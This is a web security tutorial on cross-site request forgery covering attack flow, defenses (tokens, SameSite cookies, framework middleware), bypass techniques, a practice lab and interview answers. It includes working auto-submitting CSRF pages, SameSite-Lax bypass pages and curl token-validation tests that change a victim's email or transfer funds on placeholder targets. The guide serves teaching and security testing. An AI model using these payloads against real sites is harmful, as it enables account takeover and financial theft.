CSRF Attacks and Modern Defenses
TL;DR: CSRF tricks authenticated users into performing unintended actions by exploiting the browser’s automatic cookie sending. Modern defenses include CSRF tokens, SameSite cookies, and origin validation. Understanding bypass techniques is essential for thorough security testing.
Table of Contents
Open Table of Contents
Quick Reference
CSRF Defense Comparison
| Defense | Effectiveness | Bypass Difficulty | Notes |
|---|---|---|---|
| CSRF Tokens | High | Medium | Must be unpredictable, validated server-side |
| SameSite=Strict | Very High | Low | Breaks some legitimate flows |
| SameSite=Lax | High | Medium | Default in modern browsers |
| Double Submit Cookie | Medium | Medium | Vulnerable if subdomain XSS |
| Origin/Referer Check | Medium | Medium | Can be stripped/spoofed |
| Custom Headers | High | Medium | Requires JavaScript |
SameSite Cookie Comparison
| Attribute | Cross-Site GET | Cross-Site POST | Top-Level Navigation |
|---|---|---|---|
None | ✅ Sent | ✅ Sent | ✅ Sent |
Lax | ❌ Not sent | ❌ Not sent | ✅ Sent (GET only) |
Strict | ❌ Not sent | ❌ Not sent | ❌ Not sent |
CSRF Attack Flow
How CSRF Works
┌──────────────────────────────────────────────────────────────┐
│ CSRF ATTACK FLOW │
├──────────────────────────────────────────────────────────────┤
│ │
│ 1. User logs into bank.com │
│ └─► Browser stores session cookie │
│ │
│ 2. User visits evil.com (in another tab) │
│ └─► evil.com contains hidden form │
│ │
│ 3. evil.com auto-submits form to bank.com/transfer │
│ └─► Browser AUTOMATICALLY attaches bank.com cookies │
│ │
│ 4. Bank.com receives authenticated request │
│ └─► Bank sees valid session, performs transfer │
│ │
│ Result: Victim unknowingly transferred money │
│ │
└──────────────────────────────────────────────────────────────┘
Attack Prerequisites
For CSRF to work:
- Target action exists - State-changing action (transfer, change email)
- Cookie-based auth - Session cookie sent automatically
- No unpredictable parameters - Attacker can construct valid request
- Victim interaction - Victim visits attacker-controlled page
Basic CSRF Payload
<!-- Hidden form that auto-submits -->
<html>
<body>
<form id="csrf" action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
<!-- Alternative: Image tag for GET requests -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
<!-- Alternative: Iframe -->
<iframe src="https://bank.com/transfer?to=attacker&amount=10000" style="display:none"></iframe>
Real-World Attack Example
Scenario: Email Change CSRF
Vulnerable Endpoint:
POST /api/user/email HTTP/1.1
Host: vulnerable-app.com
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded
email=newemail@example.com
Attack Page (hosted by attacker):
<!DOCTYPE html>
<html>
<head><title>You've won a prize!</title></head>
<body>
<h1>Congratulations! Click to claim your prize!</h1>
<!-- Hidden CSRF attack -->
<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf-form" action="https://vulnerable-app.com/api/user/email"
method="POST" target="csrf-frame">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>
// Auto-submit when page loads
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
Attack Chain:
- Attacker sends victim link to prize page
- Victim clicks link while logged into vulnerable-app
- Page auto-submits hidden form
- Browser attaches victim’s session cookie
- Email changed to attacker’s address
- Attacker triggers password reset
- Attacker gains full account access
Impact Assessment
| Action | Impact Level | Notes |
|---|---|---|
| Change email | Critical | Account takeover via password reset |
| Change password | Critical | Direct account takeover |
| Add admin user | Critical | Privilege escalation |
| Transfer funds | Critical | Financial loss |
| Delete account | High | Denial of service |
| Post content | Medium | Reputation damage |
| Change settings | Low-Medium | Depends on setting |
CSRF Tokens and SameSite
CSRF Tokens
How They Work
┌─────────────────────────────────────────────────────────────┐
│ CSRF TOKEN FLOW │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. Server generates random token, stores in session │
│ │
│ 2. Token included in form as hidden field │
│ <input type="hidden" name="csrf_token" value="xyz789"> │
│ │
│ 3. User submits form (with token) │
│ │
│ 4. Server validates: request token == session token │
│ • Match → Process request │
│ • No match → Reject request │
│ │
│ WHY THIS WORKS: │
│ Attacker cannot read the token from victim's page │
│ (Same-Origin Policy prevents cross-origin reads) │
│ │
└─────────────────────────────────────────────────────────────┘
Token Implementation
# Server-side (Python/Flask example)
import secrets
@app.before_request
def csrf_protect():
if request.method == "POST":
token = session.get('csrf_token')
if not token or token != request.form.get('csrf_token'):
abort(403, 'CSRF token missing or invalid')
@app.route('/form')
def form():
if 'csrf_token' not in session:
session['csrf_token'] = secrets.token_hex(32)
return render_template('form.html', csrf_token=session['csrf_token'])
<!-- Form with CSRF token -->
<form action="/submit" method="POST">
<input type="hidden" name="csrf_token" value="{{ csrf_token }}">
<input type="text" name="data">
<button type="submit">Submit</button>
</form>
Token Best Practices
## CSRF Token Requirements
✅ Cryptographically random (use secrets module, not random)
✅ Sufficient length (32+ bytes)
✅ Tied to user session
✅ Validated on all state-changing requests
✅ Transmitted securely (HTTPS)
✅ Regenerated on login (prevent fixation)
❌ Don't use predictable values
❌ Don't include in URL (logged, cached, leaked via Referer)
❌ Don't accept via GET parameters
❌ Don't share across users
SameSite Cookies
How SameSite Works
SameSite attribute controls when cookies are sent cross-site:
┌──────────────────────────────────────────────────────────────┐
│ SameSite=Strict │
│ └─► Cookie NEVER sent on cross-site requests │
│ Even top-level navigations (clicking link to your site) │
├──────────────────────────────────────────────────────────────┤
│ SameSite=Lax (default in modern browsers) │
│ └─► Cookie NOT sent on cross-site POST/iframe/etc │
│ └─► Cookie IS sent on top-level GET navigation │
│ (User clicking link from external site) │
├──────────────────────────────────────────────────────────────┤
│ SameSite=None; Secure │
│ └─► Cookie sent on ALL requests (old behavior) │
│ Must include Secure flag (HTTPS only) │
└──────────────────────────────────────────────────────────────┘
Implementation
# Secure session cookie
Set-Cookie: session=abc123; SameSite=Lax; Secure; HttpOnly; Path=/
# Third-party cookie (if needed)
Set-Cookie: tracking=xyz; SameSite=None; Secure
# Maximum security
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly; Path=/
SameSite Limitations
| Limitation | Description |
|---|---|
| Old browsers | Some browsers don’t support SameSite |
| GET-based CSRF | Lax allows GET on top-level navigation |
| Subdomains | SameSite doesn’t protect against subdomain attacks |
| Same-site ≠ Same-origin | site.com and sub.site.com are same-site |
Bypass Techniques
1. Token Leakage via Referer
If application includes token in URL:
https://target.com/form?csrf_token=abc123
Attack:
1. User visits form page
2. User clicks external link
3. Referer header sent to external site contains token
4. Attacker harvests tokens from Referer logs
2. Token Not Validated
# Test 1: Remove token entirely
POST /transfer HTTP/1.1
amount=1000&to=attacker
# (no csrf_token parameter)
# Test 2: Empty token
csrf_token=&amount=1000&to=attacker
# Test 3: Same token for all users
# (Token not tied to session)
3. Token Validation Flaws
# Test: Use token from different session
# Get token from attacker's session, use in victim's request
# Test: Token in cookie matches request
# (Double-submit without proper binding)
Cookie: csrf=abc123
Body: csrf_token=abc123
# If server only checks equality, vulnerable to subdomain XSS
4. Method Override
# If only POST is protected, try:
GET /api/transfer?amount=1000&to=attacker HTTP/1.1
# Or method override headers:
POST /api/transfer HTTP/1.1
X-HTTP-Method-Override: GET
POST /api/transfer?_method=GET HTTP/1.1
5. Content-Type Bypass
# Change Content-Type to avoid CORS preflight
# Instead of application/json, use:
Content-Type: text/plain
Content-Type: application/x-www-form-urlencoded
# Form can submit these without preflight
<form method="POST" enctype="text/plain">
6. SameSite Lax Bypass
<!-- SameSite=Lax allows GET on top-level navigation -->
<!-- If vulnerable endpoint accepts GET: -->
<!-- Method 1: Link click -->
<a href="https://target.com/transfer?amount=1000&to=attacker">Click me!</a>
<!-- Method 2: window.open (counts as top-level) -->
<script>
window.open('https://target.com/transfer?amount=1000&to=attacker');
</script>
<!-- Method 3: Meta refresh -->
<meta http-equiv="refresh" content="0;url=https://target.com/transfer?...">
7. Subdomain XSS + Double Submit
If using double-submit cookie pattern:
Cookie: csrf=abc123
Body: csrf_token=abc123
And XSS exists on subdomain (sub.target.com):
1. XSS on subdomain can set cookies for parent domain
2. Attacker sets: document.cookie = "csrf=attacker_value; domain=.target.com"
3. Attacker submits form with matching value
4. Server sees matching cookie/body, accepts request
Testing Checklist
## CSRF Testing Checklist
### Token Analysis
- [ ] Is token present in request?
- [ ] What happens if token is removed?
- [ ] What happens if token is empty?
- [ ] What happens with invalid token?
- [ ] Is token tied to session? (Use different session's token)
- [ ] Is token in URL? (Check Referer leakage)
### Method Testing
- [ ] Does GET work instead of POST?
- [ ] Is _method parameter accepted?
- [ ] Are method override headers accepted?
### SameSite Analysis
- [ ] What SameSite attribute is set?
- [ ] Does endpoint accept GET requests?
- [ ] Can action be triggered via top-level navigation?
### Content-Type
- [ ] Is Content-Type validated?
- [ ] Can you use form-compatible Content-Types?
### Other Vectors
- [ ] Is Origin/Referer header validated?
- [ ] Can Referer be stripped? (Referrer-Policy)
- [ ] Are there subdomain XSS vulnerabilities?
Modern Framework Protections
Django
# settings.py - CSRF enabled by default
MIDDLEWARE = [
'django.middleware.csrf.CsrfViewMiddleware',
# ...
]
# CSRF cookie settings
CSRF_COOKIE_SECURE = True
CSRF_COOKIE_HTTPONLY = True
CSRF_COOKIE_SAMESITE = 'Lax'
# In templates - automatic token inclusion
<form method="post">
{% csrf_token %}
...
</form>
# AJAX requests - include token in header
headers: {
'X-CSRFToken': getCookie('csrftoken')
}
Rails
# ApplicationController
class ApplicationController < ActionController::Base
# CSRF protection enabled by default
protect_from_forgery with: :exception
end
# In views - automatic token in forms
<%= form_with(url: "/submit") do |f| %>
...
<% end %>
# AJAX - token in meta tag
<%= csrf_meta_tags %>
# JavaScript - read from meta
const token = document.querySelector('meta[name="csrf-token"]').content;
Spring Security
// CSRF enabled by default in Spring Security
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
// CSRF enabled by default
.csrf()
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());
}
}
// In Thymeleaf templates - automatic
<form th:action="@{/submit}" method="post">
<!-- Token automatically included -->
</form>
Express.js (csurf)
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });
app.use(csrfProtection);
app.get('/form', (req, res) => {
res.render('form', { csrfToken: req.csrfToken() });
});
// In template
<form method="POST">
<input type="hidden" name="_csrf" value="<%= csrfToken %>">
</form>
React (with API)
// Get CSRF token from cookie or meta tag
function getCsrfToken() {
return document.querySelector('meta[name="csrf-token"]')?.content;
}
// Include in fetch requests
fetch('/api/submit', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCsrfToken()
},
body: JSON.stringify(data)
});
// Or use axios interceptor
axios.defaults.headers.common['X-CSRF-Token'] = getCsrfToken();
Hands-On Lab
Lab: Exploit and Fix CSRF Vulnerabilities
Setup: Use OWASP WebGoat or PortSwigger Web Security Academy
Task 1: Basic CSRF Exploitation
<!-- Create this HTML file locally -->
<!DOCTYPE html>
<html>
<head><title>CSRF PoC</title></head>
<body>
<h1>Loading...</h1>
<form id="csrf" method="POST"
action="https://target.com/api/user/email">
<input type="hidden" name="email" value="attacker@evil.com" />
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>
Task 2: Test CSRF Token Validation
# Capture legitimate request with token
POST /api/transfer HTTP/1.1
amount=100&to=friend&csrf_token=abc123
# Test 1: Remove token
curl -X POST https://target.com/api/transfer \
-d "amount=100&to=attacker" \
-H "Cookie: session=victim_session"
# Test 2: Use another user's token
curl -X POST https://target.com/api/transfer \
-d "amount=100&to=attacker&csrf_token=different_token" \
-H "Cookie: session=victim_session"
# Test 3: Empty token
curl -X POST https://target.com/api/transfer \
-d "amount=100&to=attacker&csrf_token=" \
-H "Cookie: session=victim_session"
Task 3: SameSite Bypass
<!-- If SameSite=Lax and GET is accepted -->
<!-- Create page that navigates user -->
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="refresh"
content="0;url=https://target.com/api/transfer?amount=1000&to=attacker">
</head>
<body>
Redirecting...
</body>
</html>
Task 4: Implement Proper Protection
# Secure implementation
from flask import Flask, session, request, abort
import secrets
app = Flask(__name__)
@app.before_request
def csrf_protection():
if request.method in ['POST', 'PUT', 'DELETE']:
# Check token from header (for AJAX) or form
token = request.headers.get('X-CSRF-Token') or \
request.form.get('csrf_token')
if not token or token != session.get('csrf_token'):
abort(403, 'CSRF validation failed')
@app.after_request
def set_csrf_cookie(response):
if 'csrf_token' not in session:
session['csrf_token'] = secrets.token_hex(32)
return response
Interview Questions & Answers
Basic Questions
Q1: What is CSRF and why is it dangerous?
Strong Answer: “CSRF, Cross-Site Request Forgery, is a vulnerability where an attacker tricks an authenticated user into performing unintended actions on a web application.
How it works:
- User logs into legitimate site (bank.com)
- User visits malicious site (evil.com) in another tab
- Malicious site submits a request to bank.com
- Browser automatically attaches bank.com cookies
- Bank.com sees valid session, processes the request
Why it’s dangerous:
- Attacker can perform any action the victim can
- Works because browsers automatically send cookies cross-origin
- User has no idea the attack happened
- Can lead to account takeover (via email change), financial loss, or data modification
Key point: CSRF exploits the trust a site has in the user’s browser, while XSS exploits the trust a user has in the site.”
Q2: What’s the difference between CSRF and XSS?
Strong Answer: “They exploit different trust relationships:
CSRF:
- Exploits site’s trust in user’s browser
- Attacker makes victim’s browser send authenticated requests
- Attacker can’t read responses (Same-Origin Policy)
- Limited to actions the victim can perform
XSS:
- Exploits user’s trust in the site
- Attacker executes JavaScript in site’s context
- Attacker CAN read/modify page content
- Full access to cookies, DOM, storage
Relationship:
- XSS can bypass CSRF protections (read tokens)
- CSRF is limited to ‘blind’ actions
- XSS is generally more severe
Simple analogy:
- CSRF: Trick someone into sending a letter on your behalf
- XSS: Read and write their mail yourself”
Q3: How do SameSite cookies prevent CSRF?
Strong Answer: “SameSite is a cookie attribute that controls when cookies are sent in cross-site requests.
SameSite=Strict:
- Cookie never sent on cross-site requests
- Prevents all CSRF but breaks legitimate flows (links from email)
SameSite=Lax (default):
- Cookie not sent on cross-site POST, iframe, AJAX
- Cookie IS sent on top-level GET navigation (clicking links)
- Good balance of security and usability
SameSite=None; Secure:
- Cookie sent on all requests (legacy behavior)
- Required for legitimate cross-site scenarios
Why this helps: CSRF attacks typically use hidden forms or AJAX. With SameSite=Lax, the session cookie isn’t sent with these requests, so the server sees an unauthenticated request.
Limitations:
- Lax still allows GET-based CSRF via navigation
- Doesn’t protect against same-site attacks (subdomain)
- Old browsers may not support it”
Intermediate Questions
Q4: How would you test an application for CSRF vulnerabilities?
Strong Answer: “I follow a systematic approach:
1. Identify Targets:
- State-changing endpoints (POST, PUT, DELETE)
- Sensitive actions (password change, email update, transfers)
- Authentication-related functions
2. Analyze Existing Protections:
- Are CSRF tokens present?
- What SameSite attribute is set on session cookie?
- Is Origin/Referer validated?
3. Test Token Validation:
- Remove token entirely - Submit empty token - Submit different user's token - Reuse old token after logout - Check if token is in URL (Referer leakage)4. Test SameSite Bypass:
- Can the action be performed via GET?
- Can method override headers bypass restrictions?
5. Test Content-Type:
- Does the endpoint require specific Content-Type?
- Can form-compatible types be used?
6. Create PoC:
- Build HTML page that exploits the vulnerability
- Test in realistic scenario (different origin)
I document the complete attack chain and business impact for the report.”
Q5: Explain the double-submit cookie pattern and its weaknesses.
Strong Answer: “Double-submit cookie is a stateless CSRF defense where:
How it works:
- Server sets a random value in a cookie:
Set-Cookie: csrf=abc123- Client includes same value in request body or header
- Server verifies cookie value matches request value
Advantage:
- Stateless - no server-side token storage
- Scales well in distributed systems
Weaknesses:
1. Subdomain XSS attack:
- If XSS exists on subdomain (sub.target.com)
- Attacker can set parent domain cookie:
document.cookie = 'csrf=attacker; domain=.target.com'- Attacker then submits form with matching value
- Both cookie and body match - request accepted
2. Man-in-the-middle (if not HTTPS):
- Attacker can inject Set-Cookie via HTTP response
Better alternative:
- Cryptographically bind token to session
- Token = HMAC(session_id, secret_key)
- Server can verify without storing tokens
- Subdomain can’t forge valid token without session”
Advanced Questions
Q6: A penetration test found CSRF on a critical function. The development team says ‘We have SameSite=Lax cookies, so we’re protected.’ How do you respond?
Strong Answer: “I’d explain the specific scenarios where SameSite=Lax doesn’t provide complete protection:
1. GET-based CSRF: ‘Lax still sends cookies on top-level GET navigation. If your endpoint accepts GET requests, an attacker can create a link:
<a href=\"https://yourapp.com/api/delete?id=123\">Click here</a>When the user clicks, the cookie is sent and the action executes.’
2. 2-minute window: ‘Chrome has a special case: for the first 2 minutes after a cookie is set, it’s sent on POST requests even with Lax. This can be exploited in certain scenarios.’
3. Same-site ≠ Same-origin: ‘SameSite protects against cross-site requests, but not same-site attacks. If you have a subdomain with XSS (blog.yourapp.com), that’s same-site and can attack the main domain.’
4. Browser support: ‘Some older browsers don’t support SameSite at all, treating cookies as SameSite=None.’
Recommendation: ‘SameSite=Lax is an excellent defense-in-depth measure, but you should also implement CSRF tokens for sensitive operations. Defense in depth is crucial - don’t rely on a single control.’”
Q7: How would you design CSRF protection for a single-page application with a REST API?
Strong Answer: “SPAs with APIs need a different approach since traditional form-based tokens don’t apply:
Option 1: Synchronizer Token (Stateful)
- Server generates token, stores in session
- Return token in response body (not cookie) or custom header
- Client stores in memory (not localStorage - XSS risk)
- Client sends in custom header:
X-CSRF-Token: abc123- Server validates on each request
Option 2: Double-Submit with Cryptographic Binding
- Set cookie:
csrf=random_value; SameSite=Strict- Client reads cookie, sends in header
- Better:
csrf_token = HMAC(csrf_cookie, session_id)Option 3: Custom Header Requirement
- Require custom header that forms can’t set:
X-Requested-With: XMLHttpRequest- CORS preflight blocks cross-origin requests with custom headers
- Simple but less robust
My recommended approach:
1. Session cookie: SameSite=Strict (or Lax); Secure; HttpOnly 2. CSRF token in separate non-HttpOnly cookie or response body 3. Client sends token in custom header (X-CSRF-Token) 4. Server validates token + session binding 5. Strict CORS policy to prevent cross-origin requestsAdditional measures:
- Validate Content-Type is application/json
- Validate Origin header matches expected value
- Consider using secure-by-default libraries”
Glossary
| Term | Definition |
|---|---|
| CSRF | Cross-Site Request Forgery |
| SameSite | Cookie attribute controlling cross-site sending |
| CSRF Token | Unpredictable value to validate request origin |
| Double Submit | Stateless CSRF defense using cookie-body matching |
| Same-Site | Requests between registrable domain and subdomains |
| Same-Origin | Exact match of scheme, host, and port |
| Preflight | CORS OPTIONS request before cross-origin request |
| State-Changing | Request that modifies server-side state |
What’s Next
Continue building your web security expertise:
- Content Security Policy Explained - Defense against XSS and CSRF
- DOM-Based XSS Deep Dive - Related browser vulnerability
- Business Logic Vulnerabilities - Non-technical web flaws
Questions or feedback? Open an issue on GitHub.